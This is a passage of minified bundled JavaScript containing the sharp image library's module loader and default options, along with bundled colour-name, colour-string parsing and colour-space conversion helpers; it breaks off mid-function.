MSA=v((bjw,$x4)=>{var{familySync:Jk9,versionSync:Ok9}=TY1(),{runtimePlatformArch:Xk9,isUnsupportedNodeRuntime:Xx4,prebuiltPlatforms:$k9,minimumLibvipsVersion:_k9}=IY6(),D7A=Xk9(),Gk9=[`../src/build/Release/sharp-${D7A}.node`,"../src/build/Release/sharp-wasm32.node",`@img/sharp-${D7A}/sharp.node`,"@img/sharp-wasm32/sharp.node"],SY6,bY1=[];for(let A of Gk9)try{SY6=CA(A);break}catch(K){bY1.push(K)}if(SY6)$x4.exports=SY6;else{let[A,K,q]=["linux","darwin","win32"].map((w)=>D7A.startsWith(w)),Y=[`Could not load the "sharp" module using the ${D7A} runtime`];bY1.forEach((w)=>{if(w.code!=="MODULE_NOT_FOUND")Y.push(`${w.code}: ${w.message}`)});let z=bY1.map((w)=>w.message).join(" ");if(Y.push("Possible solutions:"),Xx4()){let{found:w,expected:H}=Xx4();Y.push("- Please upgrade Node.js:",` Found ${w}`,` Requires ${H}`)}else if($k9.includes(D7A)){let[w,H]=D7A.split("-"),J=w.endsWith("musl")?" --libc=musl":"";Y.push("- Ensure optional dependencies can be installed:"," npm install --include=optional sharp","- Ensure your package manager supports multi-platform installation:"," See https://sharp.pixelplumbing.com/install#cross-platform","- Add platform-specific dependencies:",` npm install --os=${w.replace("musl","")}${J} --cpu=${H} sharp`)}else Y.push(`- Manually install libvips >= ${_k9}`,"- Add experimental WebAssembly-based dependencies:"," npm install --cpu=wasm32 sharp"," npm install @img/sharp-wasm32");if(A&&/(symbol not found|CXXABI_)/i.test(z))try{let{config:w}=CA(`@img/sharp-libvips-${D7A}/package`),H=`${Jk9()} ${Ok9()}`,J=`${w.musl?"musl":"glibc"} ${w.musl||w.glibc}`;Y.push("- Update your OS:",` Found ${H}`,` Requires ${J}`)}catch(w){}if(A&&/\/snap\/core[0-9]{2}/.test(z))Y.push("- Remove the Node.js Snap, which does not support native modules"," snap remove node");if(K&&/Incompatible library version/.test(z))Y.push("- Update Homebrew:"," brew update && brew upgrade vips");if(bY1.some((w)=>w.code==="ERR_DLOPEN_DISABLED"))Y.push("- Run Node.js without using the --no-addons flag");if(q&&/The specified procedure could not be found/.test(z))Y.push("- Using the canvas package on Windows?"," See https://sharp.pixelplumbing.com/install#canvas-and-windows","- Check for outdated versions of sharp in the dependency tree:"," npm ls sharp");throw Y.push("- Consult the installation documentation:"," See https://sharp.pixelplumbing.com/install"),Error(Y.join(` `))}});var Gx4=v((ujw,_x4)=>{var Zk9=CA("node:util"),hY6=CA("node:stream"),Wk9=ox();MSA();var Dk9=Zk9.debuglog("sharp"),j7A=function(A,K){if(arguments.length===1&&!Wk9.defined(A))throw Error("Invalid input");if(!(this instanceof j7A))return new j7A(A,K);return hY6.Duplex.call(this),this.options={topOffsetPre:-1,leftOffsetPre:-1,widthPre:-1,heightPre:-1,topOffsetPost:-1,leftOffsetPost:-1,widthPost:-1,heightPost:-1,width:-1,height:-1,canvas:"crop",position:0,resizeBackground:[0,0,0,255],useExifOrientation:!1,angle:0,rotationAngle:0,rotationBackground:[0,0,0,255],rotateBeforePreExtract:!1,flip:!1,flop:!1,extendTop:0,extendBottom:0,extendLeft:0,extendRight:0,extendBackground:[0,0,0,255],extendWith:"background",withoutEnlargement:!1,withoutReduction:!1,affineMatrix:[],affineBackground:[0,0,0,255],affineIdx:0,affineIdy:0,affineOdx:0,affineOdy:0,affineInterpolator:this.constructor.interpolators.bilinear,kernel:"lanczos3",fastShrinkOnLoad:!0,tint:[-1,0,0,0],flatten:!1,flattenBackground:[0,0,0],unflatten:!1,negate:!1,negateAlpha:!0,medianSize:0,blurSigma:0,precision:"integer",minAmpl:0.2,sharpenSigma:0,sharpenM1:1,sharpenM2:2,sharpenX1:2,sharpenY2:10,sharpenY3:20,threshold:0,thresholdGrayscale:!0,trimBackground:[],trimThreshold:-1,trimLineArt:!1,gamma:0,gammaOut:0,greyscale:!1,normalise:!1,normaliseLower:1,normaliseUpper:99,claheWidth:0,claheHeight:0,claheMaxSlope:3,brightness:1,saturation:1,hue:0,lightness:0,booleanBufferIn:null,booleanFileIn:"",joinChannelIn:[],extractChannel:-1,removeAlpha:!1,ensureAlpha:-1,colourspace:"srgb",colourspacePipeline:"last",composite:[],fileOut:"",formatOut:"input",streamOut:!1,keepMetadata:0,withMetadataOrientation:-1,withMetadataDensity:0,withIccProfile:"",withExif:{},withExifMerge:!0,resolveWithObject:!1,jpegQuality:80,jpegProgressive:!1,jpegChromaSubsampling:"4:2:0",jpegTrellisQuantisation:!1,jpegOvershootDeringing:!1,jpegOptimiseScans:!1,jpegOptimiseCoding:!0,jpegQuantisationTable:0,pngProgressive:!1,pngCompressionLevel:6,pngAdaptiveFiltering:!1,pngPalette:!1,pngQuality:100,pngEffort:7,pngBitdepth:8,pngDither:1,jp2Quality:80,jp2TileHeight:512,jp2TileWidth:512,jp2Lossless:!1,jp2ChromaSubsampling:"4:4:4",webpQuality:80,webpAlphaQuality:100,webpLossless:!1,webpNearLossless:!1,webpSmartSubsample:!1,webpPreset:"default",webpEffort:4,webpMinSize:!1,webpMixed:!1,gifBitdepth:8,gifEffort:7,gifDither:1,gifInterFrameMaxError:0,gifInterPaletteMaxError:3,gifReuse:!0,gifProgressive:!1,tiffQuality:80,tiffCompression:"jpeg",tiffPredictor:"horizontal",tiffPyramid:!1,tiffMiniswhite:!1,tiffBitdepth:8,tiffTile:!1,tiffTileHeight:256,tiffTileWidth:256,tiffXres:1,tiffYres:1,tiffResolutionUnit:"inch",heifQuality:50,heifLossless:!1,heifCompression:"av1",heifEffort:4,heifChromaSubsampling:"4:4:4",heifBitdepth:8,jxlDistance:1,jxlDecodingTier:0,jxlEffort:7,jxlLossless:!1,rawDepth:"uchar",tileSize:256,tileOverlap:0,tileContainer:"fs",tileLayout:"dz",tileFormat:"last",tileDepth:"last",tileAngle:0,tileSkipBlanks:-1,tileBackground:[255,255,255,255],tileCentre:!1,tileId:"https://example.com/iiif",tileBasename:"",timeoutSeconds:0,linearA:[],linearB:[],debuglog:(q)=>{this.emit("warning",q),Dk9(q)},queueListener:function(q){j7A.queue.emit("change",q)}},this.options.input=this._createInputDescriptor(A,K,{allowStream:!0}),this};Object.setPrototypeOf(j7A.prototype,hY6.Duplex.prototype);Object.setPrototypeOf(j7A,hY6.Duplex);function jk9(){let A=this.constructor.call(),{debuglog:K,queueListener:q,...Y}=this.options;if(A.options=structuredClone(Y),A.options.debuglog=K,A.options.queueListener=q,this._isStreamInput())this.on("finish",()=>{this._flattenBufferIn(),A.options.input.buffer=this.options.input.buffer,A.emit("finish")});return A}Object.assign(j7A.prototype,{clone:jk9});_x4.exports=j7A});var bY6=v((Bjw,Zx4)=>{Zx4.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}});var Dx4=v((mjw,Wx4)=>{Wx4.exports=function(K){if(!K||typeof K==="string")return!1;return K instanceof Array||Array.isArray(K)||K.length>=0&&(K.splice instanceof Function||Object.getOwnPropertyDescriptor(K,K.length-1)&&K.constructor.name!=="String")}});var Px4=v((gjw,Mx4)=>{var Mk9=Dx4(),Pk9=Array.prototype.concat,Vk9=Array.prototype.slice,jx4=Mx4.exports=function(K){var q=[];for(var Y=0,z=K.length;Y<z;Y++){var w=K[Y];if(Mk9(w))q=Pk9.call(q,Vk9.call(w));else q.push(w)}return q};jx4.wrap=function(A){return function(){return A(jx4(arguments))}}});var Tx4=v((Fjw,Nx4)=>{var VSA=bY6(),fSA=Px4(),Vx4=Object.hasOwnProperty,fx4=Object.create(null);for(PSA in VSA)if(Vx4.call(VSA,PSA))fx4[VSA[PSA]]=PSA;var PSA,ST=Nx4.exports={to:{},get:{}};ST.get=function(A){var K=A.substring(0,3).toLowerCase(),q,Y;switch(K){case"hsl":q=ST.get.hsl(A),Y="hsl";break;case"hwb":q=ST.get.hwb(A),Y="hwb";break;default:q=ST.get.rgb(A),Y="rgb";break}if(!q)return null;return{model:Y,value:q}};ST.get.rgb=function(A){if(!A)return null;var K=/^#([a-f0-9]{3,4})$/i,q=/^#([a-f0-9]{6})([a-f0-9]{2})?$/i,Y=/^rgba?\(\s*([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/,z=/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/,w=/^(\w+)$/,H=[0,0,0,1],J,O,X;if(J=A.match(q)){X=J[2],J=J[1];for(O=0;O<3;O++){var $=O*2;H[O]=parseInt(J.slice($,$+2),16)}if(X)H[3]=parseInt(X,16)/255}else if(J=A.match(K)){J=J[1],X=J[3];for(O=0;O<3;O++)H[O]=parseInt(J[O]+J[O],16);if(X)H[3]=parseInt(X+X,16)/255}else if(J=A.match(Y)){for(O=0;O<3;O++)H[O]=parseInt(J[O+1],0);if(J[4])if(J[5])H[3]=parseFloat(J[4])*0.01;else H[3]=parseFloat(J[4])}else if(J=A.match(z)){for(O=0;O<3;O++)H[O]=Math.round(parseFloat(J[O+1])*2.55);if(J[4])if(J[5])H[3]=parseFloat(J[4])*0.01;else H[3]=parseFloat(J[4])}else if(J=A.match(w)){if(J[1]==="transparent")return[0,0,0,0];if(!Vx4.call(VSA,J[1]))return null;return H=VSA[J[1]],H[3]=1,H}else return null;for(O=0;O<3;O++)H[O]=nr(H[O],0,255);return H[3]=nr(H[3],0,1),H};ST.get.hsl=function(A){if(!A)return null;var K=/^hsla?\(\s*([+-]?(?:\d{0,3}\.)?\d+)(?:deg)?\s*,?\s*([+-]?[\d\.]+)%\s*,?\s*([+-]?[\d\.]+)%\s*(?:[,|\/]\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/,q=A.match(K);if(q){var Y=parseFloat(q[4]),z=(parseFloat(q[1])%360+360)%360,w=nr(parseFloat(q[2]),0,100),H=nr(parseFloat(q[3]),0,100),J=nr(isNaN(Y)?1:Y,0,1);return[z,w,H,J]}return null};ST.get.hwb=function(A){if(!A)return null;var K=/^hwb\(\s*([+-]?\d{0,3}(?:\.\d+)?)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/,q=A.match(K);if(q){var Y=parseFloat(q[4]),z=(parseFloat(q[1])%360+360)%360,w=nr(parseFloat(q[2]),0,100),H=nr(parseFloat(q[3]),0,100),J=nr(isNaN(Y)?1:Y,0,1);return[z,w,H,J]}return null};ST.to.hex=function(){var A=fSA(arguments);return"#"+xY1(A[0])+xY1(A[1])+xY1(A[2])+(A[3]<1?xY1(Math.round(A[3]*255)):"")};ST.to.rgb=function(){var A=fSA(arguments);return A.length<4||A[3]===1?"rgb("+Math.round(A[0])+", "+Math.round(A[1])+", "+Math.round(A[2])+")":"rgba("+Math.round(A[0])+", "+Math.round(A[1])+", "+Math.round(A[2])+", "+A[3]+")"};ST.to.rgb.percent=function(){var A=fSA(arguments),K=Math.round(A[0]/255*100),q=Math.round(A[1]/255*100),Y=Math.round(A[2]/255*100);return A.length<4||A[3]===1?"rgb("+K+"%, "+q+"%, "+Y+"%)":"rgba("+K+"%, "+q+"%, "+Y+"%, "+A[3]+")"};ST.to.hsl=function(){var A=fSA(arguments);return A.length<4||A[3]===1?"hsl("+A[0]+", "+A[1]+"%, "+A[2]+"%)":"hsla("+A[0]+", "+A[1]+"%, "+A[2]+"%, "+A[3]+")"};ST.to.hwb=function(){var A=fSA(arguments),K="";if(A.length>=4&&A[3]!==1)K=", "+A[3];return"hwb("+A[0]+", "+A[1]+"%, "+A[2]+"%"+K+")"};ST.to.keyword=function(A){return fx4[A.slice(0,3)]};function nr(A,K,q){return Math.min(Math.max(K,A),q)}function xY1(A){var K=Math.round(A).toString(16).toUpperCase();return K.length<2?"0"+K:K}});var xY6=v((Qjw,Ex4)=>{var NSA=bY6(),vx4={};for(let A of Object.keys(NSA))vx4[NSA[A]]=A;var HK={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};Ex4.exports=HK;for(let A of Object.keys(HK)){if(!("channels"in HK[A]))throw Error("missing channels property: "+A);if(!("labels"in HK[A]))throw Error("missing channel labels property: "+A);if(HK[A].labels.length!==HK[A].channels)throw Error("channel and label counts mismatch: "+A);let{channels:K,labels:q}=HK[A];delete HK[A].channels,delete HK[A].labels,Object.defineProperty(HK[A],"channels",{value:K}),Object.defineProperty(HK[A],"labels",{value:q})}HK.rgb.hsl=function(A){let K=A[0]/255,q=A[1]/255,Y=A[2]/255,z=Math.min(K,q,Y),w=Math.max(K,q,Y),H=w-z,J,O;if(w===z)J=0;else if(K===w)J=(q-Y)/H;else if(q===w)J=2+(Y-K)/H;else if(Y===w)J=4+(K-q)/H;if(J=Math.min(J*60,360),J<0)J+=360;let X=(z+w)/2;if(w===z)O=0;else if(X<=0.5)O=H/(w+z);else O=H/(2-w-z);return[J,O*100,X*100]};HK.rgb.hsv=function(A){let K,q,Y,z,w,H=A[0]/255,J=A[1]/255,O=A[2]/255,X=Math.max(H,J,O),$=X-Math.min(H,J,O),_=function(G){return(X-G)/6/$+0.5};if($===0)z=0,w=0;else{if(w=$/X,K=_(H),q=_(J),Y=_(O),H===X)z=Y-q;else if(J===X)z=0.3333333333333333+K-Y;else if(O===X)z=0.6666666666666666+q-K;if(z<0)z+=1;else if(z>1)z-=1}return[z*360,w*100,X*100]};HK.rgb.hwb=function(A){let K=A[0],q=A[1],Y=A[2],z=HK.rgb.hsl(A)[0],w=0.00392156862745098*Math.min(K,Math.min(q,Y));return Y=1-0.00392156862745098*Math.max(K,Math.max(q,Y)),[z,w*100,Y*100]};HK.rgb.cmyk=function(A){let K=A[0]/255,q=A[1]/255,Y=A[2]/255,z=Math.min(1-K,1-q,1-Y),w=(1-K-z)/(1-z)||0,H=(1-q-z)/(1-z)||0,J=(1-Y-z)/(1-z)||0;return[w*100,H*100,J*100,z*100]};function fk9(A,K){return(A[0]-K[0])**2+(A[1]-K[1])**2+(A[2]-K[2])**2}HK.rgb.keyword=function(A){let K=vx4[A];if(K)return K;let q=1/0,Y;for(let z of Object.keys(NSA)){let w=NSA[z],H=fk9(A,w);if(H<q)q=H,Y=z}return Y};HK.keyword.rgb=function(A){return NSA[A]};HK.rgb.xyz=function(A){let K=A[0]/255,q=A[1]/255,Y=A[2]/255;K=K>0.04045?((K+0.055)/1.055)**2.4:K/12.92,q=q>0.04045?((q+0.055)/1.055)**2.4:q/12.92,Y=Y>0.04045?((Y+0.055)/1.055)**2.4:Y/12.92;let z=K*0.4124+q*0.3576+Y*0.1805,w=K*0.2126+q*0.7152+Y*0.0722,H=K*0.0193+q*0.1192+Y*0.9505;return[z*100,w*100,H*100]};HK.rgb.lab=function(A){let K=HK.rgb.xyz(A),q=K[0],Y=K[1],z=K[2];q/=95.047,Y/=100,z/=108.883,q=q>0.008856?q**0.3333333333333333:7.787*q+0.13793103448275862,Y=Y>0.008856?Y**0.3333333333333333:7.787*Y+0.13793103448275862,z=z>0.008856?z**0.3333333333333333:7.787*z+0.13793103448275862;let w=116*Y-16,H=500*(q-Y),J=200*(Y-z);return[w,H,J]};HK.hsl.rgb=function(A){let K=A[0]/360,q=A[1]/100,Y=A[2]/100,z,w,H;if(q===0)return H=Y*255,[H,H,H];if(Y<0.5)z=Y*(1+q);else z=Y+q-Y*q;let J=2*Y-z,O=[0,0,0];for(let X=0;X<3;X++){if(w=K+0.3333333333333333*-(X-1),w<0)w++;if(w>1)w--;if(6*w<1)H=J+(z-J)*6*w;else if(2*w<1)H=z;else if(3*w<2)H=J+(z-J)*(0.6666666666666666-w)*6;else H=J;O[X]=H*255}return O};HK.hsl.hsv=function(A){let K=A[0],q=A[1]/100,Y=A[2]/100,z=q,w=Math.max(Y,0.01);Y*=2,q*=Y<=1?Y:2-Y,z*=w<=1?w:2-w;let H=(Y+q)/2,J=Y===0?2*z/(w+z):2*q/(Y+q);return[K,J*100,H*100]};HK.hsv.rgb=function(A){let K=A[0]/60,q=A[1]/100,Y=A[2]/100,z=Math.floor(K)%6,w=K-Math.floor(K),H=255*Y*(1-q),J=255*Y*(1-q*w),O=255*Y*(1-q*(1-w));switch(Y*=255,z){case 0:return[Y,O,H];case 1:return[J,Y,H];case 2:return[H,Y,O];case 3:return[H,J,Y];case 4:return[O,H,Y];case 5:return[Y,H,J]}};HK.hsv.hsl=function(A){let K=A[0],q=A[1]/100,Y=A[2]/100,z=Math.max(Y,0.01),w,H;H=(2-q)*Y;let J=(2-q)*z;return w=q*z,w/=J<=1?J:2-J,w=w||0,H/=2,[K,w*100,H*100]};HK.hwb.rgb=function(A){let K=A[0]/360,q=A[1]/100,Y=A[2]/100,z=q+Y,w;if(z>1)q/=z,Y/=z;let H=Math.floor(6*K),J=1-Y;if(w=6*K-H,(H&1)!==0)w=1-w;let O=q+w*(J-q),X,$,_;switch(H){default:case 6:case 0:X=J,$=O,_=q;break;case 1:X=O,$=J,_=q;break;case 2:X=q,$=J,_=O;break;case 3:X=q,$=O,_=J;break;case 4:X=O,$=q,_=J;break;case 5:X=J,$=q,_=O;break}return[X*255,$*255,_*255]};HK.cmyk.rgb=function(A){let K=A[0]/100,q=A[1]/100,Y=A[2]/100,z=A[3]/100,w=1-Math.min(1,K*(1-z)+z),H=1-Math.min(1,q*(1-z)+z),J=1-Math.min(1,Y*(1-z)+z);return[w*255,H*255,J*255]};HK.xyz.rgb=function(A){let K=A[0]/100,q=A[1]/100,Y=A[2]/100,z,w,H;return z=K*3.2406+q*-1.5372+Y*-0.4986,w=K*-0.9689+q*1.8758+Y*0.0415,H=K*0.0557+q*-0.204+Y*1.057,z=z>0.0031308?1.055*z**0.4166666666666667-0.055:z*12.92,w=w>0.0031308?1.055*w**0.4166666666666667-0.055:w*12.92,H=H>0.0031308?1.055*H**0.4166666666666667-0.055:H*12.92,z=Math.min(Math.max(0,z),1),w=Math.min(Math.max(0,w),1),H=Math.min(Math.max(0,H),1),[z*255,w*255,H*255]};HK.xyz.lab=function(A){let K=A[0],q=A[1],Y=A[2];K/=95.047,q/=100,Y/=108.883,K=K>0.008856?K**0.3333333333333333:7.787*K+0.13793103448275862,q=q>0.008856?q**0.3333333333333333:7.787*q+0.13793103448275862,Y=Y>0.008856?Y**0.3333333333333333:7.787*Y+0.13793103448275862;let z=116*q-16,w=500*(K-q),H=200*(q-Y);return[z,w,H]};HK.lab.xyz=function(A){let K=A[0],q=A[1],Y=A[2],z,w,H;w=(K+16)/116,z=q/500+w,H=w-Y/200;let J=w**3,O=z**3,X=H**3;return w=J>0.008856?J:(w-0.13793103448275862)/7.787,z=O>0.008856?O:(z-0.13793103448275862)/7.787,H=X>0.008856?X:(H-0.13793103448275862)/7.787,z*=95.047,w*=100,H*=108.883,[z,w,H]};HK.lab.lch=function(A){let K=A[0],q=A[1],Y=A[2],z;if(z=Math.atan2(Y,q)*360/2/Math.PI,z<0)z+=360;let H=Math.sqrt(q*q+Y*Y);return[K,H,z]};HK.lch.lab=function(A){let K=A[0],q=A[1],z=A[2]/360*2*Math.PI,w=q*Math.cos(z),H=q*Math.sin(z);return[K,w,H]};HK.rgb.ansi16=function(A,K=null){let[q,Y,z]=A,w=K===null?HK.rgb.hsv(A)[2]:K;if(w=Math.round(w/50),w===0)return 30;let H=30+(Math.round(z/255)<<2|Math.round(Y/255)<<1|Math.round(q/255));if(w===2)H+=60;return H};HK.hsv.ansi16=function(A){return HK.rgb.ansi16(HK.hsv.rgb(A),A[2])};HK.rgb.ansi256=function(A){let K=A[0],q=A[1],Y=A[2];if(K===q&&q===Y){if(K<8)return 16;if(K>248)return 231;return Math.round((K-8)/247*24)+232}return 16+36*Math.round(K/255*5)+6*Math.round(q/255*5)+Math.round(Y/255*5)};HK.ansi16.rgb=function(A){let K=A%10;if(K===0||K===7){if(A>50)K+=3.5;return K=K/10.5*255,[K,K,K]}let q=(~~(A>50)+1)*0.5,Y=(K&1)*q*255,z=(K>>1&1)*q*255,w=(K>>2&1)*q*255;return[Y,z,w]};HK.ansi256.rgb=function(A){if(A>=232){let w=(A-232)*10+8;return[w,w,w]}A-=16;let K,q=Math.floor(A/36)/5*255,Y=Math.floor((K=A%36)/6)/5*255,z=K%6/5*255;return[q,Y,z]};HK.rgb.hex=function(A){let q=(((Math.round(A[0])&255)<<16)+((Math.round(A[1])&255)<<8)+(Math.round(A[2])&255)).toString(16).toUpperCase();return"000000".substring(q.length)+q};HK.hex.rgb=function(A){let K=A.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!K)return[0,0,0];let q=K[0];if(K[0].length===3)q=q.split("").map((J)=>{return J+J}).join("");let Y=parseInt(q,16),z=Y>>16&255,w=Y>>8&255,H=Y&255;return[z,w,H]};HK.rgb.hcg=function(A){let K=A[0]/255,q=A[1]/255,Y=A[2]/255,z=Math.max(Math.max(K,q),Y),w=Math.min(Math.min(K,q),Y),H=z-w,J,O;if(H<1)J=w/(1-H);else J=0;if(H<=0)O=0;else if(z===K)O=(q-Y)/H%6;else if(z===q)O=2+(Y-K)/H;else O=4+(K-q)/H;return O/=6,O%=1,[O*360,H*100,J*100]};HK.hsl.hcg=function(A){let K=A[1]/100,q=A[2]/100,Y=q<0.5?2*K*q:2*K*(1-q),z=0;if(Y<1)z=(q-0.5*Y)/(1-Y);return[A[0],Y*100,z*100]};HK.hsv.hcg=function(A){let K=A[1]/100,q=A[2]/100,Y=K*q,z=0;if(Y<1)z=(q-Y)/(1-Y);return[A[0],Y*100,z*100]};HK.hcg.rgb=function(A){let K=A[0]/360,q=A[1]/100,Y=A[2]/100;if(q===0)return[Y*255,Y*255,Y*255];let z=[0,0,0],w=K%1*6,H=w%1,J=1-H,O=0;switch(Math.floor(w)){case 0:z[0]=1,z[1]=H,z[2]=0;break;case 1:z[0]=J,z[1]=1,z[2]=0;break;case 2:z[0]=0,z[1]=1,z[2]=H;break;case 3:z[0]=0,z[1]=J,z[2]=1;break;case 4:z[0]=H,z[1]=0,z[2]=1;break;default:z[0]=1,z[1]=0,z[2]=J}return O=(1-q)*Y,[(q*z[0]+O)*255,(q*z[1]+O)*255,(q*z[2]+O)*255]};HK.hcg.hsv=function(A){let K=A[1]/100,q=A[2]/100,Y=K+q*(1-K),z=0;if(Y>0)z=K/Y;return[A[0],z*100,Y*100]};HK.hcg.hsl=function(A){let K=A[1]/100,Y=A[2]/100*(1-K)+0.5*K,z=0;if(Y>0&&Y<0.5)z=K/(2*Y);else if(Y>=0.5&&Y<1)z=K/(2*(1-Y));return[A[0],z*100,Y*100]};HK.hcg.hwb=function(A){let K=A[1]/100,q=A[2]/100,Y=K+q*(1-K);return[A[0],(Y-K)*100,(1-Y)*100]};HK.hwb.hcg=function(A){let K=A[1]/100,Y=1-A[2]/100,z=Y-K,w=0;if(z<1)w=(Y-z)/(1-z);return[A[0],z*100,w*100]};HK.apple.rgb=function(A){return[A[0]/65535*255,A[1]/65535*255,A[2]/65535*255]};HK.rgb.apple=function(A){return[A[0]/255*65535,A[1]/255*65535,A[2]/255*65535]};HK.gray.rgb=function(A){return[A[0]/100*255,A[0]/100*255,A[0]/100*255]};HK.gray.hsl=function(A){return[0,0,A[0]]};HK.gray.hsv=HK.gray.hsl;HK.gray.hwb=function(A){return[0,100,A[0]]};HK.gray.cmyk=function(A){return[0,0,0,A[0]]};HK.gray.lab=function(A){return[A[0],0,0]};HK.gray.hex=function(A){let K=Math.round(A[0]/100*255)&255,Y=((K<<16)+(K<<8)+K).toString(16).toUpperCase();return"000000".substring(Y.length)+Y};HK.rgb.gray=function(A){return[(A[0]+A[1]+A[2])/3/255*100]}});var Cx4=v((Ujw,kx4)=>{var uY1=xY6();function Nk9(){let A={},K=Object.keys(uY1);for(let q=K.length,Y=0;Y<q;Y++)A[K[Y]]={distance:-1,parent:null};return A}function Tk9(A){let K=Nk9(),q=[A];K[A].distance=0;while(q.length){let Y=q.pop(),z=Object.keys(uY1[Y]);for(let w=z.length,H=0;H<w;H++){let J=z[H],O=K[J];if(O.distance===-1)O.distance=K[Y].distance+1,O.parent=Y,q.unshift(J)}}return K}function vk9(A,K){return function(q){return K(A(q))}}function Ek9(A,K){let q=[K[A].parent,A],Y=uY1[K[A].parent][A],z=K[A].parent;while(K[z].parent)q.unshift(K[z].parent),Y=vk9(uY1[K[z].parent][z],Y),z=K[z].parent;return Y.conversion=q,Y}kx4.exports=function(A){let K=Tk9(A),q={},Y=Object.keys(K);for(let z=Y.length,w=0;w<z;w++){let H=Y[w];if(K[H].parent===null)continue;q[H]=Ek9(H,K)}return q}});var BY6=v((pjw,Lx4)=>{var uY6=xY6(),kk9=Cx4(),I$A={},Ck9=Object.keys(uY6);function Lk9(A){let K=function(...q){let Y=q[0];if(Y===void 0||Y===null)return Y;if(Y.length>1)q=Y;return A(q)};if("conversion"in A)K.conversion=A.conversion;return K}function Rk9(A){let K=function(...q){let Y=q[0];if(Y===void 0||Y===null)return Y;if(Y.length>1)q=Y;let z=A(q);if(typeof z==="object")for(let w=z.length,H=0;H<w;H++)z[H]=Math.round(z[H]);return z};if("conversion"in A)K.conversion=A.conversion;return 